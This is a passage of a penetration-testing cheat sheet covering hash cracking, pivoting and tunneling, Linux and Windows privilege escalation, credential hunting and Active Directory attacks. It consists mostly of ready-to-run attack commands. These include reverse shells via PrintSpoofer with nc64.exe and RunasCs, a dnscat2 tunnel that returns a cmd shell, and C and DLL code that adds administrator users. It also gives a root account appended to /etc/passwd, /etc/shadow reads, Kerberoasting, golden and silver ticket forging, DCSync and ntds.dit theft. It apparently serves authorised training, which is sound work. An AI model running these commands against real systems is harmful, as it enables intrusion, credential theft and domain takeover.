# Uses John in conjunction with a wordlist to crack the hashes contained in zip.hash

bitlocker2john -i Backup.vhd > backup.hashes
# Uses Bitlocker2john script to extract hashes from a VHD file and directs the output to a file called backup.hashes

file GZIP.gzip
# Uses the Linux-based file tool to gather file format information

for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null | tar xz;done
# Script that runs a for-loop to extract files from an archive.

# Add the rule to /etc/john/john.conf
[List.Rules:sshRules]
c $1 $2 $3 $!

# Uses john to crack ssh.hash using a custom rule
john --wordlist=ssh.passwords --rules=sshRules ssh.hash
# Tools : john , hashcat , hashid , hash-identifier
```

**Online Hash Cracking**

```bash
https://crackstation.net
https://ntlm.pw
```

## Pivoting, Tunneling & Port Forwarding

#### Enumeration

```bash
# Enumeration commands
ip a
ip route
ss -ntplu
# Starting tcpdump to listen on TCP/8080 through the tun0 interface
sudo tcpdump -nvvvXi tun0 tcp port 8080
```

## Port Forwarding

#### Local Port Forwarding

<pre class="language-bash"><code class="lang-bash"><strong># Forward port 3306 from remote host to local port 1234 using ssh on port 22
</strong># [LOCAL_IP:]LOCAL_PORT:DEST_IP:DEST_PORT
ssh -N -L 0.0.0.0:4455:172.16.5.217:445 ubuntu@10.10.10.10

# Metasploit Meterpreter
# start a listner local port 3300 and frwd trafic to the remote host on port 3389
<strong>meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.129
</strong></code></pre>

<figure><img src="https://3869391553-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDMM6SCLTDlo5fkDXCdeU%2Fuploads%2FFGwrl6bGoUWVy6Nz0PsT%2Fimage.png?alt=media&#x26;token=83d15faf-46dd-42d2-8395-b461b5f819fa" alt=""><figcaption></figcaption></figure>

#### **Dynamic Port Forwarding**

<pre class="language-bash"><code class="lang-bash"># Enable Dynamic Port Forwarding on port 1234 over SSH
ssh -N -D 0.0.0.0:1234 ubuntu@10.10.10.10
<strong># Change proxychains configuration file to use our local port 1234
</strong>echo "socks5 127.0.0.1 1234" | tee -a /etc/proxychains.conf

# Metasploit Meterpreter
# Configuring a local proxy with msf socks_proxy this will open a local port 9050
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 5
msf6 auxiliary(server/socks_proxy) > run

# Change proxychains configuration file to use our local port 9050
echo "socks5 127.0.0.1 9050" | tee -a /etc/proxychains.conf
# Configure socks_proxy to route all the traffic via Meterpreter session
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
msf6 post(multi/manage/autoroute) > run
# or you can configure directly it from meterpreter session
meterpreter > run autoroute -s 172.16.5.0/23
# Listing Active Routes with AutoRoute
meterpreter > run autoroute -p
</code></pre>

<figure><img src="https://3869391553-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDMM6SCLTDlo5fkDXCdeU%2Fuploads%2FRAs6caUofJEG20CJmC7A%2Fimage.png?alt=media&#x26;token=4533e2c7-98cf-4a1e-bc5e-63e41da558c6" alt=""><figcaption></figcaption></figure>

#### Reverse Port Forwarding

<pre class="language-bash"><code class="lang-bash"># listen on port 8080 of InternalIPofPivotHost and forward connexion to port 8000 on attack host
<strong># ssh -R &#x3C;InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@&#x3C;ipAddressofTarget> -vN
</strong>ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@10.129.15.50 -vN

# Metasploit Meterpreter
# send all trafic received from remote host on port 1234 to local port 8081
meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.15.5
</code></pre>

<figure><img src="https://3869391553-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDMM6SCLTDlo5fkDXCdeU%2Fuploads%2FjY9BvmrLsOK1PITeelDy%2Fimage.png?alt=media&#x26;token=3722caba-50ff-42fd-b41b-77dbc9211037" alt=""><figcaption></figcaption></figure>

#### SSH Remote Dynamic Port Forwarding

```bash
# SSH Remote Port Forwarding
# Starting the SSH server
sudo systemctl start ssh

# Connect to kali and open a local port 2345 to forward tafic to 10.4.50.215:5432
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.0.4

# SSH Remote Dynamic Port Forwarding
# Connect to kali and open a local port 2345 to forward trafic via the pivot host
ssh -N -R 2345 kali@192.168.0.4
# Change proxychains configuration file to use our local port 2345
echo "socks5 127.0.0.1 2345" | tee -a /etc/proxychains.conf
```

<figure><img src="https://3869391553-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDMM6SCLTDlo5fkDXCdeU%2Fuploads%2FfPfFgHqUPdgvfdjbOKNN%2Fd72023c92ecbe23dac582a4cb42c9292-PRAT2_5_0_SSHRemoteDynamicPortForwarding.png?alt=media&#x26;token=ca5e229c-5521-4bee-9ea8-1e25c55e423f" alt=""><figcaption></figcaption></figure>

#### Socat Redirection

<pre class="language-bash"><code class="lang-bash"># Socat Redirection with a Reverse Shell
# Listen on localhost port 8080 and frwd all trafic to 10.10.14.18 port 80
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
socat -ddd TCP-LISTEN:8080,fork TCP:10.10.14.18:80

<strong># Socat Redirection with a Bind Shell
</strong><strong># listens on port 8080 and forwards trafic to 172.16.5.19 port 8443
</strong>socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
</code></pre>

#### SSH Pivoting with sshuttle

```bash
# use sshuttle to route trafic via remote host over SSH / VPN with SSH
sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v 
sshuttle -r ubuntu@10.129.202.64 0/0 -v
```

#### SSH for Windows

```bash
# Locate ssh.exe if present you can use it to Pivot/Port forward 
where ssh
%systemdrive%\Windows\System32\OpenSSH

# Plink
# Plink Remote Port Forwarding
# Connect to kali and open a local port 9833 and forward tafic to 127.0.0.1:3389
cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw <mykalipassword> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.0.4

# Enable Dynamic Port Forwarding on local port 9050 over SSH
plink.exe -ssh -D 9050 ubuntu@10.129.15.50
# After that we need to use Proxifier to send trafic via port 9050
```

#### Port Forwarding with Windows netsh

```bash
# create a rule to allow connection from port 2222 in the Windows firewall
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=10.129.42.198 localport=2222 action=allow

# Using netsh.exe to Port Forward
# listen on port 2222 and forward received connection to connectaddress port 22
netsh.exe interface portproxy add v4tov4 listenport=2222 listenaddress=10.129.42.198 connectport=22 connectaddress=172.16.5.25
# Verifying Port Forward
netsh.exe interface portproxy show v4tov4
netstat -anp TCP | find "2222"
```

#### Web Server Pivoting with Rpivot

```bash
# Running server.py from the Attack Host
# Allow the client to connect on port 9999 and listen on port 9050
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
# Running client.py from Pivot Target
# Connect to attack host on port 9999
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
# Change proxychains configuration file to use our local port 9050
echo "socks5 127.0.0.1 9050" | tee -a /etc/proxychains.conf
```

## Tunneling

#### DNS Tunneling with Dnscat2

```bash
# Starting the dnscat2 server
sudo ruby dnscat2.rb --dns host=10.1.1.1,port=53,domain=domain.local --no-cache
# Importing dnscat2.ps1 and establishing a DNS tunnel with the server to send back a CMD shell
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.1.1.1 -Domain domain.local -PreSharedSecret 0ec04..snip..89d21 -Exec cmd
dnscat2> ?
dnscat2> window -i 1
```

#### SOCKS5 Tunneling with Chisel

```bash
# Running the Chisel Server on the Pivot Host
./chisel server -v -p 1234 --socks5
# Connecting to the Chisel Server from attack host
./chisel client -v 10.129.202.64:1234 socks
echo "socks5 127.0.0.1 1080" | tee -a /etc/proxychains.conf

# Chisel Reverse Pivot
# Starting the Chisel Server on Attack Host
sudo ./chisel server --reverse -v -p 1234 --socks5
echo "socks5 127.0.0.1 1080" | tee -a /etc/proxychains.conf
# Connecting the Chisel Client from Pivot Host
./chisel client -v 10.10.14.17:1234 R:socks

# ssh over socks5 proxy like : proxychains ssh admin@10.4.5.5
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' admin@10.4.5.5
```

#### ICMP Tunneling with SOCKS

```bash
# Starting the ptunnel-ng Server on the Target Host.
sudo ./ptunnel-ng -r10.129.202.64 -R22    # 10.129.202.64 is the IP of the target host
# Connecting to ptunnel-ng Server from Attack Host
sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22
# Tunneling an SSH connection through an ICMP Tunnel
ssh -p2222 -lubuntu 127.0.0.1
# Enabling Dynamic Port Forwarding over SSH
ssh -D 9050 -p2222 -lubuntu 127.0.0.1
```

#### RDP and SOCKS Tunneling with SocksOverRDP

```powershell
# Loading SocksOverRDP.dll using regsvr32.exe on attack host
regsvr32.exe SocksOverRDP-Plugin.dll
# Now we can connect to pivot host over RDP using mstsc.exe
# start SocksOverRDP-Server.exe with Admin privileges on pivot host.
# on attack host we can confirm the SOCKS Listener is Started, so we can formward all trafic to 127.0.0.1:1080 with Proxifier
netstat -antb | findstr 1080
```

## Ligolo-ng

```bash
# Create and set up a tunnel interface
sudo ip tuntap add user hunter mode tun ligolo && sudo ip link set ligolo up

# Set up the proxy and the agent
proxy -selfcert
./ligolo-agent -connect 192.168.45.184:11601 -ignore-cert -retry

# List sessions
session
ifconfig

# add a route to the internal network from ligolo
sudo ip route add 172.16.175.0/24 dev ligolo

# To access local ports of the pivot machine. 240.0.0.1 = localhost of pivot
sudo ip route add 240.0.0.1/32 dev ligolo

# Start the connexion from ligolo
start

# Add a port forward 
listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:5555 --tcp
```

## Linux

### Enumeration

```bash
# Manual Enumeration
# Information about the current user
id
whoami
# Information about users
cat /etc/passwd
# The hostname
hostname
# The version of the OS
cat /etc/issue
cat /etc/os-release
uname -a
# List available sudo privileges
sudo -l
# Run a command with sudo
sudo -u user /bin/echo Hello World!
# List of running processes
ps
# Full TCP/IP configuration
ip a
ifconfig
# Printing the routes
routel
route
# active network connections
ss -anp
ss -ntplu
netstat -ntlp
# Inspecting custom IP tables
cat /etc/iptables/rules.v4
# Listing all cron jobs
ls -lah /etc/cron*
# Cron jobs for the current user
crontab -l
# Installed packages on Debian
dpkg -l
# Listing all world writable directories
find / -writable -type d 2>/dev/null
# Listing content of /etc/fstab and all mounted drives
cat /etc/fstab
mount
# Available drives using lsblk
lsblk
# Listing loaded drivers
lsmod
# Additional information about a module
/sbin/modinfo libata

# Monitor linux processes
pspy64

# Automated Enumeration
./unix-privesc-check standard > output.txt
LinEnum.sh
linpeas.sh
./lse.sh -l1 -i
enum4linux-ng

# commands to PrivEsc
su - root
su root
sudo -i
sudo bash -p
# Switch to root user (if we have access to sudo su)
sudo su -
# Switch to a user (if we have access to sudo su)
sudo su user -
```

### Exposed Confidential Information

```bash
# Inspecting User Trails
env
history
cat .bashrc
sudo -l
# Inspecting Service Footprints
watch -n 1 "ps -aux | grep -E 'root|pass'"
sudo tcpdump -i lo -A | grep -E "root|pass"
# Search for Creds
grep -i "password" -r / 2>/dev/null
```

### Insecure File Permissions

<pre class="language-bash"><code class="lang-bash"># Abusing Cron Jobs
cat /var/log/cron.log
grep "CRON" /var/log/syslog
# Abusing Password Authentication
<strong>ls -la /etc/shadow ; cat /etc/shadow
</strong>ls -la /etc/passwd ; cat /etc/passwd
# Creat password hash of "Passw@rd" to edit /etc/passwd to add the user root2 
openssl passwd Passw@rd
echo "root2:$1$LRLHgfym$jlrbkdEKOHUWu1:0:0:root:/root:/bin/bash" >> /etc/passwd

# Insecure System Components
# Abusing Setuid Binaries and Capabilities
# Searching for SUID files
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2>/dev/null
# Manually Enumerating Capabilities looking for setuid
/usr/sbin/getcap -r / 2>/dev/null

# Exploiting Kernel Vulnerabilities
cat /etc/issue
uname -r
arch
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep  "4." | grep -v " &#x3C; 4.4.0" | grep -v "4.8"
</code></pre>

## Resources

```bash
# Linux
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
# GTFOBins
https://gtfobins.github.io
```

## Windows

```bash
# SID representation (RID = 1001)
S-R-X-Y
S-1-5-21-1336799502-1441772794-948155058-1001
# Well known SIDs
S-1-0-0                       Nobody        
S-1-1-0	                      Everybody
S-1-5-11                      Authenticated Users
S-1-5-18                      Local System
S-1-5-domainidentifier-500    Administrator
# Integrity Levels
- System integrity – Kernel-mode processes with SYSTEM privileges
- High integrity – Processes with administrative privileges
- Medium integrity – Processes running with standard user privileges
- Low integrity level – Restricted processes, often used for security [sandboxing], such as web browsers.
- Untrusted – The lowest integrity level, assigned to highly restricted processes that pose potential security risks
```

**Windows Permissions**

<figure><img src="https://3869391553-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDMM6SCLTDlo5fkDXCdeU%2Fuploads%2FhUd8kQFyUcnQKdN2I3ZW%2Fimage.png?alt=media&#x26;token=4fe80e7e-a07c-4042-a7c0-91c2638a9065" alt=""><figcaption></figcaption></figure>

### Enumerating Windows

<figure><img src="https://3869391553-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDMM6SCLTDlo5fkDXCdeU%2Fuploads%2FaIA2YUsV9cKJn28OfGe7%2Fimage.png?alt=media&#x26;token=728ce65c-9178-4554-b40d-3d497bda5374" alt=""><figcaption></figcaption></figure>

```powershell
# Username and hostname
whoami
hostname

# Existing users and groups
Get-LocalUser ; net user
Get-LocalGroup ; net localgroup
# Display users info
net user <user>
# Display members of a group
Get-LocalGroupMember <group>

# Operating system, version and architecture
systeminfo        # wikipedia.org/wiki/List_of_Microsoft_Windows_versions

# Network information : listening ports, routes, services and processes
ipconfig /all
route print
netstat -ano
powershell -Command "Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess | Format-Table -AutoSize"
powershell -Command "Get-Process -Id (Get-NetTCPConnection -State Listen).OwningProcess | Select-Object Id,ProcessName"  

# Installed applications : Config files, Keepass(Password Manager), Public Exploit
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
dir /a "C:\"
dir "C:\Program Files"
dir "C:\Program Files (x86)"

# Running processes
Get-Process

# Automated Enumeration
winPEASx64.exe [-lolbas]
Seatbelt.exe -group=all -full
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
import-module PowerUp.ps1 ; Invoke-AllChecks -HTMLReport
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML
```

```powershell
# Using Runas to execute cmd as another user
runas /user:htb_user cmd
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
.\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT> --bypass-uac
```

### Credential Hunting

```powershell
# Recursive file search by name/extension : Searching for text files and password manager databases
Get-ChildItem -Path C:\ -Include *.kdbx,*.xml,*.config,*.rdp,*.ps1,*.psm1,*.pfx,*.pem,*.credential,*.json,*.txt,*.ini -Recurse -Force -ErrorAction SilentlyContinue | Select-Object FullName
dir /s/b *.txt
tree /F /A
# Recursive search for likely credentials/strings (content search)
findstr /S /I /N /P "password cpassword pwd pass key secret token api_key" C:\*
Get-ChildItem -Path 'C:\' -Recurse -Force -ErrorAction SilentlyContinue -File | Where-Object { $_.Length -lt 1048576 } | Select-String -Pattern 'password','cpassword','pwd','pass','secret' -SimpleMatch | Select-Object Path,LineNumber,Line
# Quick grep-like for sensitive filenames
Get-ChildItem -Path C:\ -Recurse -Force -ErrorAction SilentlyContinue -Include *pass*,*pwd*,*credential*,*secret*,*key* | Select-Object FullName
# Find recently modified files
powershell -Command "Get-ChildItem -Path C:\ -Recurse -Force -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) } | Select-Object FullName,LastWriteTime | Sort-Object LastWriteTime -Descending | Format-Table -AutoSize"

# History
Get-History
(Get-PSReadlineOption).HistorySavePath
```

### Service Binary Hijacking

<pre class="language-powershell"><code class="lang-powershell"># List of services with binary path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Get-Service | Format-Table Name,DisplayName,Status,StartType -AutoSize | findstr /I 'Running'
sc query
<strong># Check Permissions of mysqld.exe
</strong># icacls permissions : (F:Full access, M:Modify, RX:Read and execute, R:Read-only, W:Write-only)
icacls "C:\xampp\mysql\bin\mysqld.exe"
# If we have Full/Write Acces we can try to change the executable with another one
# Restart the service
net stop mysql ; net start mysql
# We can try to reboot the machine if the service Startup Type is set to "Automatic"
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
<strong># Check if we have SeShutdownPrivilege priv if so
</strong><strong>whoami /priv    ==>    shutdown /r /t 0
</strong>
# Automation
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'mysql'
</code></pre>

{% code title="C code to add user" %}

```c
#include <stdlib.h>
int main () 
{ int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); return 0; }
// x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
```

{% endcode %}

### DLL Hijacking

**Standard DLL search order**

<figure><img src="https://3869391553-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDMM6SCLTDlo5fkDXCdeU%2Fuploads%2FUX9O4n3Z66au3dPZ2nBU%2Fimage.png?alt=media&#x26;token=77b8855f-fd59-4fb3-90ed-ece86f9357ed" alt=""><figcaption></figcaption></figure>

```powershell
# Enumerate installed applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# We can search online to see if any of the installed applications are vulnerable to DLL hijacking.
# Or Use Process Monitor to detect DLLs loaded by the application as well as missing ones (need admin priv)
# Tip : in procmon search for "NAME NOT FOUND" in result to find missing DLLs
```

{% code title="C++ DLL example  to add a user : TextShaping.cpp" %}

```c
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave3 password123! /add");
  	    i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
// x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
```

{% endcode %}

### Unquoted Service Paths

```bash
# How Windows will try to locate the service binary C:\Program Files\Current Version\GammaServ.exe
C:\Program.exe
C:\Program Files\Current.exe
C:\Program Files\Current Version\GammaServ.exe
```

```bash
# List of services with binary path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
# List of services with spaces and missing quotes in the binary path cmd.exe
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """            "delete-this
# Reviewing permissions on the Enterprise Apps directory
icacls "C:\Program Files"
# Start/Stop service
Start-Service GammaService ; Stop-Service GammaService

# Automation
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Current.exe"
```

### Scheduled Tasks

```bash
1. As which user account (principal) does this task get executed?
2. What triggers are specified for the task?
3. What actions are executed when one or more of these triggers are met?
```

```powershell
# List of all scheduled tasks
schtasks /query /fo LIST /v | Select-String "^(HostName|TaskName|Next Run Time|Status|Author|Task To Run|Scheduled Task State):" | ForEach-Object { $_.Line }
Get-ScheduledTask
Get-ScheduledTask | Format-Table TaskName,TaskPath,State,Actions -AutoSize
Get-ScheduledTask -TaskName * | Get-ScheduledTaskInfo | Format-List *
schtasks /query /fo LIST /v /TN "Task Name"     # Filter a specific task
# if we have permission on the executable we can change it like we do in the Service Binary Hijacking
wmic process get Name,ProcessId,CreationDate    # Display running processes
```

### Kernel exploits

```bash
# Enumerating the Windows version and security patches
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
```

### Abusing Windows privileges

```powershell
# Checking our current privileges
whoami /all        # Priv2Admin: List of priv ; EnableAllTokenPrivs.ps1: Enable tokens
whoami /priv
# Check .NET Version : 
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
# If we have : SeImpersonatePrivilege, SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, SeDebug, ...
GodPotato
.\SigmaPotato "net user pwned P@ssword123 /add"
.\SigmaPotato "net localgroup Administrators pwned /add"
.\PrintSpoofer64.exe -c "C:\windows\temp\tools\nc64.exe 10.10.10.10 443 -e cmd"
.\PrintSpoofer64.exe -i -c cmd
.\Juicy.Potato.x86.exe -t * -p shell.exe -l 1338 -c {69AD4AEE-51BE-439b-A92C-86AE490E8B30}  # for old windows version
# Other Potatoes Priv Esc: https://jlajara.gitlab.io/Potatoes_Windows_Privesc
```

## Resources

```bash
# Windows
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html
# LOLBAS WADComs 
https://lolbas-project.github.io
https://wadcoms.github.io
```

## Active Directory

## Enumeration

### Manual Enumeration

```powershell
# Display users in the domain
net user /domain
# Display info about the user jeffadmin
net user jeffadmin /domain
# Display groups in the domain
net group /domain
# Display members in specific group
net group "IT Department" /domain
# Display PDC of a domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

## Enumeration with PowerView
Import-Module .\PowerView.ps1
# Get info about Domain, Users and grouprs
Get-NetDomain ; Get-NetUser ; Get-NetGroup
# Domain computer overview
Get-NetComputer | select operatingsystem,dnshostname
# Scanning domain to find local administrative privileges for our user
Find-LocalAdminAccess
# Checking logged on users on client74
Get-NetSession -ComputerName client74 -Verbose
.\PsLoggedon.exe \\client74

## Enumeration Through SPN
# Listing the SPN accounts in the domain
Get-NetUser -SPN | select samaccountname,serviceprincipalname
# Listing SPN linked to iis_service user account
setspn -L iis_service

## Enumerating Object Permissions
# AD ACE permission types
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group
# Enumerating ACLs for the Management Group (ObjectSID,ActiveDirectoryRights,SecurityIdentifier)
Get-ObjectAcl -Identity "Management Department" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
# Converting the SecurityIdentifier into name
"S-1-5-21-1987370270-658905905-1781884369-512" | Convert-SidToName

## Enumerating Domain Shares
# List Domain Shares. add -CheckShareAccess if you want only ones accessible to us
Find-DomainShare 
```

### Automated Enumeration

<pre class="language-powershell"><code class="lang-powershell"># SharpHound
Import-Module .\SharpHound.ps1
<strong>Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\sharepond -OutputPrefix "corp"
</strong>bloodhound-python -u user -p password -ns 10.10.1.5 -d offsec.lab -c all
# BloodHound
sudo neo4j start # neo4j:neo4j
bloodhound
# Custom queries
MATCH (m:Computer) RETURN m        # Display all computers
MATCH (m:User) RETURN m            # Display all users
MATCH (m:GPO) RETURN m             # Display GPO
MATCH (m:Group) RETURN m           # Display Group
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p    # Display all active sessions
<strong>
</strong><strong># adPEAS
</strong>Invoke-adPEAS -Domain 'NeoSoft.local' -Cred $Cred
# ADRecon
.\ADRecon.ps1 -DomainController &#x3C;IP or FQDN> -Credential &#x3C;domain\username>
# Invoke-ADEnum
<strong># PingCastle
</strong></code></pre>

```
runas.exe /netonly /user:<domain>\<username> cmd.exe
.\RunasCs.exe administrator P@ssword123 cmd.exe -r 192.168.45.161:80
```

## AD Attacks

### Password Attacks

```bash
# Usernames Bruteforce
kerbrute userenum --dc 192.168.147.97 -d corp.com -o kerbrute-userenum xato-net-10-million-usernames.txt

# Password spraying on windows and linux
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin # (No accounts should be locked out)
Invoke-DomainPasswordSpray -UserList usernames.txt -Domain corp.com -PasswordList passlist.txt -OutFile creds.txt
.\kerbrute passwordspray -d corp.com .\usernames.txt "Nexus123!"
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
```

### AS-REP Roasting

```bash
# AS-REP Roasting : AD user account with option Do not require Kerberos preauthentication enabled
impacket-GetNPUsers -dc-ip 192.168.0.9 -request -outputfile hashes.asreproast corp.com/pete:'P@ssw0rd'
.\Rubeus.exe asreproast /nowrap
hashcat -m 18200 hashes.asreproast rockyou.txt -r best64.rule --force
# only list user accounts
impacket-GetNPUsers -dc-ip 192.168.0.9 corp.com/pete
Get-DomainUser -PreauthNotRequired
# If we have GenericWrite or GenericAll permissions on another AD user we could modify UAC of the user to not require Kerberos preauthentication
Invoke-ACLScanner -ResolveGUIDS | where {$_.ActiveDirectoryRights -eq 'GenericAll'}
```

### Kerberoasting

```bash
# Kerberoasting : Decrypt TGS-REP to obtain cleartext password of the service account
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
impacket-GetUserSPNs -request -dc-ip 192.168.171.70 corp.com/pete:'P@ssw0rd'
hashcat -m 13100 hashes.kerberoast rockyou.txt -r best64.rule --force
# If we have GenericWrite or GenericAll permissions on another AD user we could set an SPN for the user, kerberoast the account, and crack the password hash
ntpdate <dc_ip> # sync local time with server if error
```

### Silver Tickets

```bash
# Silver Ticket : Forges a TGS ticket for a specific service with the use of the service account password or NTLM hash. We need : SPN password hash, Domain SID, Target SPN
# 1. SPN password hash : sekurlsa::logonpasswords
# 2. SPN : Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames
# 3. Domain SID : we need to omit the 4 last digit => whoami /user OR Get-ADdomain
# 4. nthash : codebeautify.org/ntlm-hash-generator
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-mssqlclient -k nagoya.nagoya-industries.com    # Auth with TGS
# https://medium.com/@0xrave/nagoya-proving-grounds-practice-walkthrough-active-directory-bef41999b46f
```

```bash
# Import TGS in Linux
export KRB5CCNAME=$PWD/Administrator.ccache
klist
# create the file /etc/krb5user.conf
[libdefaults]
        default_realm = NAGOYA-INDUSTRIES.COM
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
    rdns = false
    dns_canonicalize_hostname = false
        fcc-mit-ticketflags = true

[realms]        
        NAGOYA-INDUSTRIES.COM = {
                kdc = nagoya.nagoya-industries.com
        }

[domain_realm]
        .nagoya-industries.com = NAGOYA-INDUSTRIES.COM
```

### DCSync Attack

```bash
# Impersonates a DC to request replication of user credentials. Domain Admins, Enterprise Admins, Administrators groups have the right by default to do so
lsadump::dcsync /user:corp\dave
impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"P@ssw0rd"@192.168.50.70
```

## GPO

```bash
# If we have acces to a GPO (GenericAll,GenericWrite,WriteProperty). www.thehacker.recipes/ad/movement/group-policies
# List GPO : Get-GPO -all        # update GPO : gpupdate
python3 pygpoabuse.py 'corp.com/user:pass' -gpo-id '469...D81' -command 'net user gpoabuse Password123! /add && net localgroup administrators gpoabuse /add' -v
```

## Active Directory Persistence

### Golden Ticket

<pre class="language-bash"><code class="lang-bash"># Golden Ticket : create TGTs with the use of krbtgt password hash
# We need Domain Admin's group account or access to DC 
lsadump::lsa /patch    # Dumping the krbtgt password hash from DC.

# From a compromised machine or our attack machine
kerberos::purge    # Delete any existing Kerberos tickets
<strong># Creating a golden ticket. SID can be extracted with (whoami /user)
</strong>kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
PsExec.exe \\dc1 cmd.exe # Execute cmd on DC, using hostname instead of IP to use kerberos auth
</code></pre>

### Shadow Copies

```bash
# Shadow Copy of the entire C: drive using cmd.exe. Can be used to extract hashes and kerberos keys of all AD users
vshadow.exe -nw -p  C:    # keep note of Shadow copy device name
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
